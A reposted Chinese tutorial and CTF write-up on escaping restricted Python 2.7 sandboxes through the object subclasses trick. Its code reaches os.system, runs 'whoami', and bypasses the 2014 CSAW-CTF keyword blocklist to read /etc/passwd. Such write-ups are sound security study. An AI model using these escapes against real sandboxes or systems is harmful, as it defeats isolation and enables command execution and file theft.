Python Sandbox Bypass

栏目: Python · 发布时间: 7年前

内容简介:Python Sandbox Bypass

常规pysandbox方法:

利用 del __builtins__.__dict__[func] 进行危险函数过滤。

简单理解, __builtins__ 存放着 Python 的内置模块。 比如: reload, __import__, print, raw_input

针对常规Python沙箱的bypass,以CTF呈现的形式居多。

以下环境全在python 2.7.10测试。

1. Magic Code

在Python里,这段 [].__class__.__base__.__subclasses__() 魔术代码,不用import任何模块,但可调用任意模块的方法。

具体使用如下:

1.1 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道, sys.version 可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'

所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。

我们找到 <class 'warnings.WarningMessage'> ,该Class已经导入了sys模块。

获取py版本如下:

def getPyVer():
    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if 'warnings.WarningMessage' in str(item):
            return item.__init__.__globals__['sys'].version
            
print getPyVer()

返回:

2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]

1.2 命令执行

根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。

  • os

  • subprocess

  • commands

以os模块为例。

在2.7.10里,有以下3个Class导入了os模块。

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

我们利用任意一个Class的代码如下:

def cmdexec(cmd):

    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if "<class 'site._Printer'>" ==  str(item):
            ret = item.__init__.__globals__['os'].system(cmd)
            return ret
            
print cmdexec('whoami')

返回:

Viarus
0

2. 小试牛刀

以2014 CSAW-CTF为例。

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]

while 1:  
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("[-] " + no)
            break
    else: # this means nobreak
        exec data

该代码很简单。

  • 删除所有内置模块,除了 raw_inputprint

  • 如果输入里匹配到 banned 列表里的黑名单,就退出程序。

现在的目的是读取系统上一个文件。方法大致两种:

  1. 调用file函数读取文件

  2. 执行命令

第一种方法就不阐述了。下面是第二种执行命令的Poc:

➜  python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

原理即上面执行命令的代码逻辑的原理。 由于不能出现 sys 字样,所以把 system 组合了下。

3. 总结

  • 如果是module类型,可以使用 .__dict__.keys() 查看方法名,比如 item.__init__.__globals__['os'].__dict__.keys()

  • 调用方法使用 .__dict__['funcname'] ,比如 item.__init__.__globals__['os'].__dict__['system']

  • 从class中获取该class的模块名 item.__init__.__globals__.keys()

4. 参考

  • CSAW-CTF Python sandbox write-up


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java夜未眠

Java夜未眠

蔡学镛 / 电子工业出版社 / 2003-4 / 20.00元

本书是一本散文集。作为一名资深程序设计师,作者走笔清新面独特,简练俏皮的文字下,是作者对工作,对人生的理性思考。书中收录的文章内容贴近程序员的生活,能令读者产生强烈共鸣。此外,书中的部分文章也以轻松的风格剖析了学习Java技术时的常见问题,并以专家眼光和经验推荐介绍了一批优秀的技术书籍,旨在帮助读者兴趣盎然地学习Java。一起来看看 《Java夜未眠》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具